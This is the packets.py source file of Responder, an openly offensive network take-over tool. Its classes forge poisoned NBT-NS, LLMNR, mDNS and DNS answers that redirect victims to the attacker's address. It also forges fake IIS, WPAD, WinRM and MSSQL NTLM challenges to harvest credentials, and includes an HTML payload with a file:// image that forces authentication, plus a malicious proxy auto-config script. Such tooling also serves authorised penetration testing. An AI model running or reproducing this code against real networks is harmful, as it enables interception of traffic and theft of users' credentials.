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packets.py
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#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: [email protected]
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re
from base64 import b64encode
from os import urandom
import settings
from odict import OrderedDict
from utils import (HTTPCurrentDate, NetworkRecvBufferPython2or3, RespondWithIP,
RespondWithIPAton, RespondWithIPPton, SMBTime,
StructPython2or3, StructWithLenPython2or3)
# Packet class handling all packet generation (see odict.py).
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
self.fields[k] = v(self.fields[k]) if callable(v) else v
def __str__(self):
return "".join(map(str, self.fields.values()))
# NBT Answer Packet
class NBT_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("NbtName", ""),
("Type", "\x00\x20"),
("Classy", "\x00\x01"),
("TTL", "\x00\x00\x00\xa5"),
("Len", "\x00\x06"),
("Flags1", "\x00\x00"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = NetworkRecvBufferPython2or3(data[:2])
self.fields["NbtName"] = NetworkRecvBufferPython2or3(data[12:46])
self.fields["IP"] = RespondWithIPAton()
# DNS Answer Packet
class DNS_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# DNS Answer Packet OPT
class DNS_AnsOPT(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x01"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
("OPTName", "\x00"),
("OPTType", "\x00\x29"),
("OPTUDPSize", "\x10\x00"),
("OPTRCode", "\x00"),
("OPTEDNSVersion", "\x00"),
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
("OPTStr", "\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS6_AnsOPT(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x01"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
("OPTName", "\x00"),
("OPTType", "\x00\x29"),
("OPTUDPSize", "\x10\x00"),
("OPTRCode", "\x00"),
("OPTEDNSVersion", "\x00"),
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
("OPTStr", "\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS_SRV_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x80"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x21"),#srv
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x21"),#srv
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("RecordLen", ""),
("Priority", "\x00\x00"),
("Weight", "\x00\x64"),
("Port", "\x00\x00"),
("TargetLenPre", "\x0f"), # static, we provide netbios computer name 15 chars like Windows by default.
("TargetPrefix", ""),
("TargetLenSuff", ""),
("TargetSuffix", ""),
("TargetLenSuff2", ""),
("TargetSuffix2", ""),
("TargetNull", "\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[:2]
DNSName = ''.join(data[12:].split('\x00')[:1])
SplitFQDN = re.split('\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld
#What's the question? we need it first to calc all other len.
self.fields["QuestionName"] = DNSName
#Want to be detected that easily by xyz sensor?
self.fields["TargetPrefix"] = settings.Config.MachineName
#two last parts of the domain are the actual Domain name.. eg: contoso.com
self.fields["TargetSuffix"] = SplitFQDN[-2]
self.fields["TargetSuffix2"] = SplitFQDN[-1]
#We calculate the len for that domain...
self.fields["TargetLenSuff2"] = StructPython2or3(">B",self.fields["TargetSuffix2"])
self.fields["TargetLenSuff"] = StructPython2or3(">B",self.fields["TargetSuffix"])
# Calculate Record len.
CalcLen = self.fields["Priority"]+self.fields["Weight"]+self.fields["Port"]+self.fields["TargetLenPre"]+self.fields["TargetPrefix"]+self.fields["TargetLenSuff"]+self.fields["TargetSuffix"]+self.fields["TargetLenSuff2"]+self.fields["TargetSuffix2"]+self.fields["TargetNull"]
#Our answer len..
self.fields["RecordLen"] = StructPython2or3(">h",CalcLen)
#for now we support ldap and kerberos...
if "ldap" in DNSName:
self.fields["Port"] = StructWithLenPython2or3(">h", 389)
if "kerberos" in DNSName:
self.fields["Port"] = StructWithLenPython2or3(">h", 88)
# LLMNR Answer Packet
class LLMNR_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x00"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionNameLen", "\x09"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerNameLen", "\x09"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
class LLMNR6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x00"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionNameLen", "\x09"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerNameLen", "\x09"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
# MDNS Answer Packet
class MDNS_Ans(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# MDNS6 Answer Packet
class MDNS6_Ans(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
################### DHCP SRV ######################
##### HTTP Packets #####
class NTLM_Challenge(Packet):
fields = OrderedDict([
("Signature", "NTLMSSP"),
("SignatureNull", "\x00"),
("MessageType", "\x02\x00\x00\x00"),
("TargetNameLen", "\x06\x00"),
("TargetNameMaxLen", "\x06\x00"),
("TargetNameOffset", "\x38\x00\x00\x00"),
("NegoFlags", "\x05\x02\x81\xa2" if settings.Config.NOESS_On_Off else "\x05\x02\x89\xa2"),
("ServerChallenge", ""),
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("TargetInfoLen", "\x7e\x00"),
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("TargetNameStr", settings.Config.Domain),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
("Av1Str", settings.Config.Domain),
("Av2", "\x01\x00"),#Server name
("Av2Len", "\x14\x00"),
("Av2Str", settings.Config.MachineName),
("Av3", "\x04\x00"),#Full Domain name
("Av3Len", "\x12\x00"),
("Av3Str", settings.Config.DomainName),
("Av4", "\x03\x00"),#Full machine domain name
("Av4Len", "\x28\x00"),
("Av4Str", settings.Config.MachineName+'.'+settings.Config.DomainName),
("Av5", "\x05\x00"),#Domain Forest Name
("Av5Len", "\x12\x00"),
("Av5Str", settings.Config.DomainName),
("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"),
])
def calculate(self):
# First convert to unicode
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
#Now from bytes to str..
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].decode('latin-1')
self.fields["Av1Str"] = self.fields["Av1Str"].decode('latin-1')
self.fields["Av2Str"] = self.fields["Av2Str"].decode('latin-1')
self.fields["Av3Str"] = self.fields["Av3Str"].decode('latin-1')
self.fields["Av4Str"] = self.fields["Av4Str"].decode('latin-1')
self.fields["Av5Str"] = self.fields["Av5Str"].decode('latin-1')
# Then calculate
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str("A"*8)+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
# Target Name Offsets
self.fields["TargetNameOffset"] = StructPython2or3("<i",CalculateNameOffset)
self.fields["TargetNameLen"] = StructPython2or3("<h",self.fields["TargetNameStr"])
self.fields["TargetNameMaxLen"] = StructPython2or3("<h",self.fields["TargetNameStr"])
# AvPairs Offsets
self.fields["TargetInfoOffset"] = StructPython2or3("<i",CalculateAvPairsOffset)
self.fields["TargetInfoLen"] = StructPython2or3("<h",CalculateAvPairsLen)
self.fields["TargetInfoMaxLen"] = StructPython2or3("<h",CalculateAvPairsLen)
# AvPairs StrLen
self.fields["Av1Len"] = StructPython2or3("<h",self.fields["Av1Str"])
self.fields["Av2Len"] = StructPython2or3("<h",self.fields["Av2Str"])
self.fields["Av3Len"] = StructPython2or3("<h",self.fields["Av3Str"])
self.fields["Av4Len"] = StructPython2or3("<h",self.fields["Av4Str"])
self.fields["Av5Len"] = StructPython2or3("<h",self.fields["Av5Str"])
class IIS_Auth_401_Ans(Packet):
fields = OrderedDict(
[
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", f"Date: {HTTPCurrentDate()}" + "\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
]
)
class IIS_Auth_Granted(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\"+RespondWithIP()+"\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
class IIS_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "WWW-Authenticate: NTLM "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
class WinRM_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 \r\n"),
("WWWAuth", "WWW-Authenticate: Negotiate "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("ServerType", "Server: Microsoft-HTTPAPI/2.0\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
class IIS_Basic_401_Ans(Packet):
fields = OrderedDict(
[
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", f"Date: {HTTPCurrentDate()}" + "\r\n"),
("Type", "Content-Type: text/html\r\n"),
(
"WWW-Auth",
"WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n",
),
("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"),
("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
]
)
##### Proxy mode Packets #####
class WPADScript(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY "+RespondWithIP()+":3141; DIRECT';}"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
class ServeExeFile(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ContentType", "Content-Type: application/octet-stream\r\n"),
("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("ContentDisp", "Content-Disposition: attachment; filename="),
("ContentDiFile", ""),
("FileCRLF", ";\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("Date", "\r\nDate: "+HTTPCurrentDate()+"\r\n"),
("Connection", "Connection: keep-alive\r\n"),
("X-CCC", "US\r\n"),
("X-CID", "2\r\n"),
("CRLF", "\r\n"),
("Payload", "jj"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
class ServeHtmlFile(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ContentType", "Content-Type: text/html\r\n"),
("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("Date", "\r\nDate: "+HTTPCurrentDate()+"\r\n"),
("Connection", "Connection: keep-alive\r\n"),
("CRLF", "\r\n"),
("Payload", "jj"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
##### WPAD Auth Packets #####
class WPAD_Auth_407_Ans(Packet):
fields = OrderedDict(
[
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", f"Date: {HTTPCurrentDate()}" + "\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
("Connection", "Proxy-Connection: close\r\n"),
("Cache-Control", "Cache-Control: no-cache\r\n"),
("Pragma", "Pragma: no-cache\r\n"),
("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
]
)
class WPAD_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "Proxy-Authenticate: NTLM "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
class WPAD_Basic_407_Ans(Packet):
fields = OrderedDict(
[
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", f"Date: {HTTPCurrentDate()}" + "\r\n"),
("Type", "Content-Type: text/html\r\n"),
(
"WWW-Auth",
"Proxy-Authenticate: Basic realm=\"Authentication Required\"\r\n",
),
("Connection", "Proxy-Connection: close\r\n"),
("Cache-Control", "Cache-Control: no-cache\r\n"),
("Pragma", "Pragma: no-cache\r\n"),
("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
]
)
class WEBDAV_Options_Answer(Packet):
fields = OrderedDict(
[
("Code", "HTTP/1.1 200 OK\r\n"),
("Date", f"Date: {HTTPCurrentDate()}" + "\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"),
("Len", "Content-Length: 0\r\n"),
("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"),
("Connection", "Connection: Keep-Alive\r\n"),
("Content-Type", "Content-Type: text/html\r\n"),
("CRLF", "\r\n"),
]
)
class FTPPacket(Packet):
fields = OrderedDict([
("Code", "220"),
("Separator", "\x20"),
("Message", "Welcome"),
("Terminator", "\x0d\x0a"),
])
##### SQL Packets #####
class MSSQLPreLoginAnswer(Packet):
fields = OrderedDict([
("PacketType", "\x04"),
("Status", "\x01"),
("Len", "\x00\x25"),
("SPID", "\x00\x00"),
("PacketID", "\x01"),
("Window", "\x00"),
("TokenType", "\x00"),
("VersionOffset", "\x00\x15"),
("VersionLen", "\x00\x06"),
("TokenType1", "\x01"),
("EncryptionOffset", "\x00\x1b"),
("EncryptionLen", "\x00\x01"),
("TokenType2", "\x02"),
("InstOptOffset", "\x00\x1c"),
("InstOptLen", "\x00\x01"),
("TokenTypeThrdID", "\x03"),
("ThrdIDOffset", "\x00\x1d"),
("ThrdIDLen", "\x00\x00"),
("ThrdIDTerminator", "\xff"),
("VersionStr", "\x09\x00\x0f\xc3"),
("SubBuild", "\x00\x00"),
("EncryptionStr", "\x02"),
("InstOptStr", "\x00"),
])
def calculate(self):
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"])
VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])
EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])
InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
self.fields["Len"] = StructWithLenPython2or3(">h",len(CalculateCompletePacket))
#Version
self.fields["VersionLen"] = StructWithLenPython2or3(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
self.fields["VersionOffset"] = StructWithLenPython2or3(">h",len(VersionOffset))
#Encryption
self.fields["EncryptionLen"] = StructWithLenPython2or3(">h",len(self.fields["EncryptionStr"]))
self.fields["EncryptionOffset"] = StructWithLenPython2or3(">h",len(EncryptionOffset))
#InstOpt
self.fields["InstOptLen"] = StructWithLenPython2or3(">h",len(self.fields["InstOptStr"]))
self.fields["EncryptionOffset"] = StructWithLenPython2or3(">h",len(InstOpOffset))
#ThrdIDOffset
self.fields["ThrdIDOffset"] = StructWithLenPython2or3(">h",len(ThrdIDOffset))
class MSSQLNTLMChallengeAnswer(Packet):
fields = OrderedDict([
("PacketType", "\x04"),
("Status", "\x01"),
("Len", "\x00\xc7"),
("SPID", "\x00\x00"),
("PacketID", "\x01"),
("Window", "\x00"),
("TokenType", "\xed"),
("SSPIBuffLen", "\xbc\x00"),
("Signature", "NTLMSSP"),
("SignatureNull", "\x00"),
("MessageType", "\x02\x00\x00\x00"),
("TargetNameLen", "\x06\x00"),
("TargetNameMaxLen", "\x06\x00"),
("TargetNameOffset", "\x38\x00\x00\x00"),
("NegoFlags", "\x05\x02\x89\xa2"),
("ServerChallenge", ""),
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("TargetInfoLen", "\x7e\x00"),
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("TargetNameStr", settings.Config.Domain),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
("Av1Str", settings.Config.Domain),
("Av2", "\x01\x00"),#Server name
("Av2Len", "\x14\x00"),
("Av2Str", settings.Config.MachineName),
("Av3", "\x04\x00"),#Full Domain name
("Av3Len", "\x12\x00"),
("Av3Str", settings.Config.DomainName),
("Av4", "\x03\x00"),#Full machine domain name
("Av4Len", "\x28\x00"),
("Av4Str", settings.Config.MachineName+'.'+settings.Config.DomainName),
("Av5", "\x05\x00"),#Domain Forest Name
("Av5Len", "\x12\x00"),
("Av5Str", settings.Config.DomainName),
("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"),
])
def calculate(self):
# First convert to unicode
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le').decode('latin-1')
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le').decode('latin-1')
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le').decode('latin-1')
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le').decode('latin-1')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le').decode('latin-1')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le').decode('latin-1')
# Then calculate
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
